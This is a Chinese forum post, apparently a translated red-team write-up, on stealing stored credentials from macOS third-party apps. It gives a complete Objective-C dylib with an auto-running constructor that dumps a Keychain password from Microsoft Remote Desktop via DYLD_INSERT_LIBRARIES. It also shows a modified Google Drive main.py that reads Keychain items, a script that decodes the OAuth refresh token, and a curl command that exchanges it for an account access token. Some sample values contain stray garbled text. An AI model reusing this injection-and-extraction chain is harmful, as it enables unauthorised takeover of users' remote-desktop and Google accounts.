本帖最后由 zhaorong 于 2020-5-15 14:56 编辑
介绍
获取凭证信息是红队的常用套路,因为这些凭证可横向移动的一把好手。网上很多用Windows
进行凭据恢复的研究随着渗透人员经济条件越来越好,各位师傅都换上了Mac(馋.jpg)
所以这篇文章中,我们将探讨如何通过代理应用程序进行代码注入来访问MacOS第三方应
用程序中存储的凭据,包括Microsoft远程桌面和Google云端硬盘的案例研究。
Microsoft远程桌面
使用远程桌面应用程序时注意它都具有一个保存RDP会话凭据的功能如下所示:
这些会话的已存储凭据在应用程序中
发现这些凭据的第一步是探索应用程序的沙箱容器,使用命令grep -ir contoso.com查看Prefere
nces / com.microsoft.rdc.mac.plistplist文件中包含的字符串。使用plutil -convert xml1 Prefe
rences / com.microsoft.rdc.mac.plist将其转换为纯文本,我们看看:
在plist文件中我们可以找到有关凭证的各种详细信息 但不幸的是 没有明文密码 如果这么简单那就太好了。
下一步是在反汇编程序中打开“远程桌面”应用程序。
基于以上所述,我们知道已保存的条目在应用程序中被称为书签。
我们查下KeychainCredentialLoader::getPasswordForBookmark()方法 我们可以看到 除其他外
它调用了一个名为getPassword()的方法:
在getPassword()内部,它尝试通过调用findPasswordItem()方法来发现Keychain该方法使用
SecKeychainSearchCreateFromAttributes()来找到相关的Keychain并最终复制出其内容:
基于所学知识 我们现在了解到RDP会话的密码存储在Keychain中 我们可以使用Keychain access应用程序对此进行确认:
但是 如果没有提权 我们无法访问已保存的密码。
找回密码
查看“访问控制”选项卡 我们可以看到Microsoft Remote Desktop.app被授予了对
此项目的访问权限,并且不需要Keychain密码即可执行此操作:
回到我们最初的理论,如果我们可以注入到应用程序中,那么我们可以从Keychain中检索此密码 但是 在MacOS
上进行代码注入并不是一件容易的事,并且当适当的安全控制措施到位(即SIP和适当的权利或启用了hardened
runtime)时,Apple已经将其锁定了。这些选项可防止注入未经Apple签名或与应用程序相同的团队ID的库。
对我们来说幸运的是,使用codesign -dvvv –entitlements进行了验证:/Applications/Microsoft\ Rem
ote\ Desktop.app/Contents/MacOS/Microsoft\ Remote\ Desktop我们发现没有这样的保护措施意味
着我们可以很好地使用-known DYLD_INSERT_LIBRARIES技术注入我们的动态库。
一个简单的dylib 用于根据发现的书签搜索“Keychain”项 如下所示:
- #import "hijackLib.h"
- @implementation hijackLib :NSObject
- -(void)dumpKeychain {
- NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
- (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
- (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
- (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
- @"dc.contoso.com", (__bridge id)kSecAttrLabel,
- (__bridge id)kSecClassInternetPassword,(__bridge id)kSecClass,
- nil];
- NSDictionary *keychainItem = nil;
- OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, (void *)&keychainItem);
- if(status != noErr)
- {
- return;
- }
- NSData* passwordData = [keychainItem objectForKey:(id)kSecValueData];
- NSString * password = [[NSString alloc] initWithData:passwordData encoding:NSUTF8StringEncoding];
- NSLog(@"%@", password);
- }
- @end
- void runPOC(void) {
- [[hijackLib alloc] dumpKeychain];
- }
- __attribute__((constructor))
- static void customConstructor(int argc, const char **argv) {
- runPOC();
- exit(0);
- }
复制代码
编译该库并通过DYLD_INSERT_LIBRARIES注入我们可以查看存储在Keychain中的纯文本密码:
Google云端硬盘
前面的示例相对来说比较琐碎 因为远程桌面应用程序未包含任何运行时保护措
施以防止未经授权的代码注入让我们看另一个例子。
如果我们查看Google云端硬盘应用程序的元数据和权利我们可以看到该应用程序使用了hardened runtime:
- $ codesign -dvvv --entitlements :- '/Applications//Backup and Sync.app/Co
- ntents/MacOS/Backup and Sync'
- Executable=/Applications/Backup and Sync.app/Contents/MacOS/Backup and Sync
- Identifier=com.google.GoogleDrive
- Format=app bundle with Mach-O thin (x86_64)
- CodeDirectory v=20500 size=546 flags=0x10000(runtime) hashes=8+5 location=embedded
复制代码
Apple介绍:
hardened runtime与系统完整性保护(SIP)一起通过防止某些类型的利用 例如代码注入 动态
链接库(DLL)劫持和进程内存空间篡改来保护软件的运行时完整性。
我的同事亚当·切斯特(Adam Chester)之前曾谈到过,当这些保护措施不到位时 如何实现向代理应用程序
的代码注入,但是在这种情况下,hardened runtime意味着如果我们尝试使用亚当描述的先前的DYLD_IN
SERT_LIBRARIES或Plugins技术,将失败,我们将无法再使用加载程序将其注入该进程。但是有替代路线吗?
仔细研究Google云端硬盘应用,我们会在该应用的Info.plist中发现以下内容:
- <key>PyRuntimeLocations</key>
- <array>
- <string>@executable_path/../Frameworks/Python.framework/Versions/2.7/Python</string>
- </array>
复制代码 我们还注意到/ Applications / Backup和Sync.app/Contents/MacOS文件夹中的其他Python二进制文件:
- -rwxr-xr-x@ 1 dmc staff 49696 23 Dec 04:00 Backup and Sync
- -rwxr-xr-x@ 1 dmc staff 27808 23 Dec 04:00 python
复制代码
因此,这里发生的是Google Drive的 备份和同步 应用程序实际上是基于python的应
用程序可能使用py2app或类似程序进行了编译。
让我们看看这是否为我们提供了执行代码注入的机会。
分析
查看该应用程序 我们发现唯一的python源文件是./Resources/main.py 它执行以下操作:
- from osx import run_googledrive
- if __name__ == "__main__":
- run_googledrive.Main()
复制代码
不幸的是,我们不能修改该文件 因为它位于受SIP保护的目录中 但是 我们只需将整个应用程序复制
到一个可写的文件夹中 它将保持相同的权利和代码签名;我们将其复制到/tmp。
使用/tmp文件夹中的应用程序副本 我们编辑main.py来试试是否可以修改:
- if __name__ == "__main__":
- print('hello hackers')
- run_googledrive.Main()
复制代码 运行该应用程序我们可以看到我们已经执行了Python:
- /t/B/C/Resources $ /tmp/Backup\ and\ Sync.app/Contents/MacOS/Backup\ and\ Sync
- /tmp/Backup and Sync.app/Contents/Resources/lib/python2.7/site-packages.zip/wx/_core.
- py:16633: UserWarning: wxPython/wxWidgets release number mismatch
- hello hackers
- 2020-02-21 09:11:36.481 Backup and Sync[89239:2189260] GsyncAppDele
- tegate.py : Finder debug level logs : False
- 2020-02-21 09:11:36.652 Backup and Sync[89239:2189260] Main bundle
- path during launch: /tmp/Backup and Sync.app
复制代码 既然我们知道可以在代码签名无效的情
况下执行任意python 是否可以以某种方式滥用它?
滥用 Surrogate
通过查看Keychain 我们发现该应用程序已存储了多个项目包括以下标记为应用程序密码的项目
设置访问控制以便Google云端硬盘应用无需身份验证即可恢复该访问控制:
让我们看看如何使用替代应用程序来恢复它。
回顾该应用程序如何加载其Python软件包,我们在./Resources/lib/python2.7/site-packages.zip
中发现了捆绑的site-packages资源,如果我们对此进行解压缩,则可以了解发生了什么。
对 keychain 执行初始搜索会发现几个包含字符串的模块 包括osx / storage / keychain.pyo和o
sx / storage / system_storage.pyo;我们感兴趣的一个是system_storage.pyo,keychain.p
yo这是keychain_ext.so共享库的Python接口它提供了本地访问以访问Keychain。
反编译并查看system_storage.pyo,我们发现以下内容:
- from osx.storage import keychain
- LOGGER = logging.getLogger('secure_storage')
- class SystemStorage(object):
- def __init__(self, system_storage_access=None):
- pass
- def StoreValue(self, category, key, value):
- keychain.StoreValue(self._GetName(category, key), value)
- def GetValue(self, category, key):
- return keychain.GetValue(self._GetName(category, key))
- def RemoveValue(self, category, key):
- keychain.RemoveValue(self._GetName(category, key))
- def _GetName(self, category, key):
- if category:
- return '%s - %s' % (key, category)
- return key
复制代码 考虑到这一点让我们修改main.py以尝试从Keychain中检索凭证:
- from osx import run_googledrive
- from osx.storage import keychain
- if __name__ == "__main__":
- print('[*] Poking your apps')
- key = “xxxxxxxxx@gmail.com"
- value = '%s' % (key)
- print(keychain.GetValue(value))
- #run_googledrive.Main()
复制代码
这次 当我们运行该应用程序时我们获得了一些似乎是base64编码的数据:
让我们更深入地了解这是什么以及我们是否可以使用它。
搜索在secure_storage.SecureStorage类是用于我们找到了TokenStorage类包括方法:
- def FindToken(self, account_name, category=Categories.DEFAULT):
- return self.GetValue(category.value, account_name)
复制代码 所述TokenStorage类则内
使用公共/ AUTH / oauth_utils.pyo在模块LoadOAuthToken方法:
- def LoadOAuthToken(user_email, token_storage_instance, http_client):
- if user_email is None:
- return
- else:
- try:
- token_blob = token_storage_instance.FindToken(user_email)
- if token_blob is not None:
- return oauth2_token.GoogleDriveOAuth2Token.FromBlob(http_client, token_blob)
复制代码
看一下oauth2_toke.GoogleDriveOAuth2Token.FromBlob方法我们可以看到发生了什么:
- @staticmethod
- def FromBlob(http_client, blob):
- if not blob.startswith(GoogleDriveOAuth2Token._BLOB_PREFIX):
- raise OAuth2BlobParseError('Wrong prefix for blob %s' % blob)
- parts = blob[len(GoogleDriveOAuth2Token._BLOB_PREFIX):].split('|')
- if len(parts) != 4:
- raise OAuth2BlobParseError('Wrong parts count blob %s' % blob)
- refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
复制代码
我们从Keychain中恢复的Blob令牌 client_id和client_secret等的base64副本 我们可以使用以下方法恢复它们:
- import base64
- _BLOB_PREFIX = '2G'
- blob = ‘2GXXXXXXXXXXXXX|YYYYYYYYYYYYYY|ZZZZZZZZZZZ|我是猪!我是猪!AA='
- parts = blob[len(_BLOB_PREFIX):].split('|')
- refresh_token, client_id, client_secret, scope_blob = (base64.b64decode(s) for s in parts)
- print(refresh_token)
- print(client_id)
- print(client_secret)
复制代码 然后 刷新令牌可用于请求新的访问令牌 以提供用户身份访问Google帐户:
- $ curl https://www.googleapis.com/oauth2/v4/token \-d client_id=111111
- 11111.apps.googleusercontent.com \
- -d client_secret=XXXXXXXXXXXXX \
- -d refresh_token=‘1/YYYYYYYYYYYYY' \
- -d grant_type=refresh_token
- {
- "access_token": “xxxxx.我是猪!a.我是猪!b.ccccc",
- "expires_in": 3599,
- "scope": "https://www.googleapis.com/auth/googletalk https://www.googleapis.co
- m/auth/drive https://www.googleapis.com/auth/peopleapi.readonly https://www.go
- ogleapis.com/auth/contactstore.readonly",
- "token_type": "Bearer"
- }
复制代码
结论
在这项研究中 介绍如何通过滥用代码注入替代应用程序来从MacOS设备的Keychain中恢复凭证
而无需提升权限尽管Apple提供了一些保护措施来限制代码注入但是当利用已经具有访问存储
资源所需权限的代理应用程序时这些保护措施并不总是完全有效的。 |